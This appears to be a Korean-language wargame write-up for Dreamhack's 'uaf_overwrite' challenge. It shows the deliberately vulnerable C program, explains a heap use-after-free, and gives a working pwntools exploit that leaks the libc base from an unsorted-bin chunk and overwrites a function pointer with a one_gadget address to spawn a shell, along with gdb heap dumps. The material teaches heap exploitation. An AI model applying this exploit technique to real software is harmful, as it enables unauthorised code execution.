#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
$ checksec uaf_overwrite
[*] '/home/ion/dreamhack/Memory_Corruption_Use_After_Free/uaf_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
모든 보호 기법이 적용되어 있습니다.
Full RELRO
보호 기법으로 인해 GOT Overwrite
는 힘듭니다. 그래서 라이브러리에 존재하는 훅 또는 코드에서 사용하는 함수 포인터를 덮는 방법을 생각해 볼 수 있습니다.
1. Human
과 Robot
이라는 크기가 같은 구조체가 있습니다.
2. human_func()
함수와 robot_func()
함수를 보면 메모리 영역 할당 후 초기화를 하지 않습니다.
⇾ Human
구조체와 Robot
구조체가 크기가 같기 때문에, 한 구조체를 해제하고 다른 구조체를 할당하면 해제된 구조체의 값을 사용할 수 있게 되어 UAF가 발생하게 됩니다.
3. robot_func()
함수는 Robot
변수의 fptr
이 NULL
이 아니면 이를 호출해주고 있기 때문에, UAF로 이 변수에 원하는 값을 남겨 놓을 수 있다면, 실행 흐름을 조작할 수 있습니다.
4. custom_func()
함수도 0x100
이상의 크기를 갖는 청크를 할당하고 해제하는데, 메모리 영역을 초기화 하지 않아서 UAF가 발생합니다.
Robot.fptr
의 값을 one_gadget
의 주소로 덮어서 쉘을 흭득해보겠습니다. 이를 위해 libc가 매핑된 주소를 구해야 합니다.
1. 라이브러리 릭
UAF를 이용해서 libc가 매핑된 주소를 구해야 하는데, 이를 위해 unsorted bin
의 특징을 이용해 보겠습니다.
Unsorted bin
에 처음 연결되는 청크는 libc의 특정 주소와 이중 원형 연결 리스트를 형성합니다. 그래서 처음 unsorted bin
에 연결되는 청크의 fd
와 bk
는 libc 내부의 주소가 쓰입니다. 따라서 unsorted bin
에 연결된 청크를 재할당하고, fd
나 bk
의 값을 읽으면 libc가 매핑된 주소를 계산할 수 있습니다.
custom_func
함수는 0x100
바이트 이상의 크기를 할당하고, 할당된 청크들 중 원하는 청크를 해제할 수 있는 함수입니다. 0x410
이하의 크기를 갖는 청크는 tcache
에 먼저 삽입되므로, 이보다 큰 청크를 해제해서 unsorted bin
에 연결하고, 이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 계산할 수 있습니다.
여기서 주의할 점은 unsorted bin
은 해제된 청크가 탑 청크와 맞닿아 있으면 병합되기 때문에, 청크 두개를 연속으로 할당하고, 처음 할당한 청크를 해제해야 합니다.
2. 함수 포인터 덮어쓰기
Human
과 Robot
은 같은 크기의 구조체이므로, Human
구조체가 해제되고 Robot
구조체가 할당되면, Robot
은 Human
이 사용했던 영역을 재사용하게 되어 UAF 취약점이 발생합니다.
Human
구조체의 age
는 Robot
구조체의 fptr
과 위치가 같기 때문에, human_func()
를 호출했을 때, age
에 one_gadget
주소를 입력하고, 이어서 robot_func()
를 호출하면 fptr
에 있는 one_gadget
을 호출할 수 있습니다.
custom_func()
를 이용하여 0x500
크기를 갖는 청크를 2개 할당하고, 해제한 뒤, 다시 할당하여 libc 내부의 주소를 구합니다. 그후 구해낸 주소를 이용하여 라이브러리 베이스를 구합니다.
라이브러리 베이스 주소를 구하는 과정을 자세히 봐보면
# leak.py
from pwn import *
p = process("./uaf_overwrite")
context.log_level='debug'
gdb.attach(p)
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
pause()
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
p.interactive()
$ python3 leak.py
[+] Starting local process './uaf_overwrite': pid 9608
[*] running in new terminal: ['/usr/bin/gdb', '-q', './uaf_overwrite', '9608']
[DEBUG] Created script for new terminal:
#!/usr/bin/python3
import os
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './uaf_overwrite', '9608'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmpu4bislch']
[+] Waiting for debugger: Done
[*] Paused (press any to continue)
# 디버깅 창
(gdb) source ~/gef/gef.py
gef➤ disas main
.
.
0x000055dae0318d15 <+164>: call 0x55dae0318aae <custom_func>
.
.
gef➤ b * main+164
gef➤ c
# 터미널
ubuntu ~/dreamhack/Exploit_Tech_Use_After_Free python3 leak.py 2> /dev/null
[+] Starting local process './uaf_overwrite': pid 9608
[*] running in new terminal: ['/usr/bin/gdb', '-q', './uaf_overwrite', '9608']
[DEBUG] Created script for new terminal:
#!/usr/bin/python3
import os
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './uaf_overwrite', '9608'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmpu4bislch']
[+] Waiting for debugger: Done
[*] Paused (press any to continue)
[DEBUG] Received 0x1e bytes:
b'1. Human\n'
b'2. Robot\n'
b'3. Custom\n'
b'> '
[DEBUG] Sent 0x2 bytes:
b'3\n'
# 디버깅 창
gef➤ c
gef➤ heap chunks
Chunk(addr=0x561978710010, size=0x250, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x561978710260, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710260 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 AAAA............]
Chunk(addr=0x561978710770, size=0x208a0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
gef➤ c
gef➤ heap chunks
Chunk(addr=0x561978710010, size=0x250, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x561978710260, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710260 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 AAAA............]
Chunk(addr=0x561978710770, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710770 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 AAAA............]
Chunk(addr=0x561978710c80, size=0x20390, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
gef➤ c
gef➤ heap chunks
Chunk(addr=0x561978710010, size=0x250, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x561978710260, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710260 a0 6c 22 a4 5f 7f 00 00 a0 6c 22 a4 5f 7f 00 00 .l"._....l"._...]
Chunk(addr=0x561978710770, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710770 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 AAAA............]
Chunk(addr=0x561978710c80, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710c80 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 AAAA............]
Chunk(addr=0x561978711190, size=0x1fe80, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
# 터미널
python3 leak.py 2> /dev/null
[+] Starting local process './uaf_overwrite': pid 10032
[*] running in new terminal: ['/usr/bin/gdb', '-q', './uaf_overwrite', '10032']
[DEBUG] Created script for new terminal:
#!/usr/bin/python3
import os
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './uaf_overwrite', '10032'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmpo7_94_bb']
[+] Waiting for debugger: Done
[*] Paused (press any to continue)
[DEBUG] Received 0x1e bytes:
.
.
.
[*] Switching to interactive mode
Bl"\xa4_\x7f
Free idx: [DEBUG] Received 0x1e bytes:
b'1. Human\n'
b'2. Robot\n'
b'3. Custom\n'
b'> '
1. Human
2. Robot
3. Custom
> $ 3
gef➤ c
gef➤ heap chunks
Chunk(addr=0x561978710010, size=0x250, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x561978710260, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710260 42 6c 22 a4 5f 7f 00 00 a0 6c 22 a4 5f 7f 00 00 Bl"._....l"._...]
Chunk(addr=0x561978710770, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710770 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 AAAA............]
Chunk(addr=0x561978710c80, size=0x510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[0x0000561978710c80 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 AAAA............]
Chunk(addr=0x561978711190, size=0x1fe80, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
gef➤ x/4gx 0x561978710260
0x561978710260: 0x00007f5fa4226c42 0x00007f5fa4226ca0
0x561978710270: 0x0000000000000000 0x0000000000000000
gef➤ x/i 0x00007f5fa4226ca0
0x7f5fa4226ca0 <main_arena+96>: adc BYTE PTR [rcx],0x71
fd
: 0x00007f5fa4226c42
bk
: 0x00007f5fa4226ca0
bk
⇾ main_arena+96
libc base
= main_arena+96
- main_arena_offset
- 96
$ ldd uaf_overwrite
linux-vdso.so.1 (0x00007ffcb81ee000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb8607a3000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb860d97000)
$ ./main_arena /lib/x86_64-linux-gnu/libc.so.6
[+]libc version : glibc 2.27
[+]build ID : BuildID[sha1]=f7307432a8b162377e77a182b6cc2e53d771ec4b
[+]main_arena_offset : 0x3ebc40
main_arena_offset
: 0x3ebc40
libc base
= 0x00007f5fa4226ca0
- 0x3ebc40
- 96
= 0x7f5fa3e3b000
위에처럼 bk
의 값을 가지고 libc base
를 구할 수 있습니다. 하지만 릭되는 값은 bk
가 아닌 fd
이기 때문에, fd
로 libc base
를 구할 수 있는 방법을 생각해봐야 합니다.
fd
와 bk
를 비교해보면 입력으로 B
가 들어온 후 끝에 한 바이트만 a0
에서 42 (B)
로 변경되었습니다.
libc base
는 끝에 1바이트가 00
이 되기 때문에 main_arena_offset
-96
대신 main_arena_offset
의 끝에 1바이트를 입력으로 들어온 문자의 아스키코드로 대체하면 libc base
를 릭할 수 있습니다.
그래서 libc base
를 leak 하는 코드는
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
0x3ebc00
+ 0x42
= 0x3ebc42
를 bk
에서 빼는 코드가 됩니다.
from pwn import *
p = process("./uaf_overwrite")
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1) # data 값이 "B"가 아니라 "C"가 된다면, offset은 0x3ebc42 가 아니라 0x3ebc43이 됩니다.
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a2fc
slog("libc_base", lb)
slog("one_gadget", og)
$ python3 exploit.py
[+] Starting local process './uaf_overwrite': pid 580
[+] libc_base: 0x7fd33629b000
[+] one_gadget: 0x7fd3363a541c
[*] Stopped process './uaf_overwrite' (pid 580)
human->age
와 robot->fptr
이 구조체 상에서 같은 위치에 있기 때문에 UAF 취약점으로 robot->fptr
의 값을 원하는 값으로 조작할 수 있습니다.
human->age
에 one_gadget
의 주소를 입력하고, 해제한 뒤, robot_func
를 호출하면 쉘을 획득할 수 있습니다.
from pwn import *
p = process("./uaf_overwrite")
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
# UAF to calculate the `libc_base`
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a2fc
slog("libc_base", lb)
slog("one_gadget", og)
# UAF to manipulate `robot->fptr` & get shell
human("1", og)
robot("1")
p.interactive()
$ python3 exploit.py
[+] Starting local process './uaf_overwrite': pid 10415
[+] libc_base: 0x7f35ed8ac000
[+] one_gadget: 0x7f35ed9b62fc
[*] Switching to interactive mode
$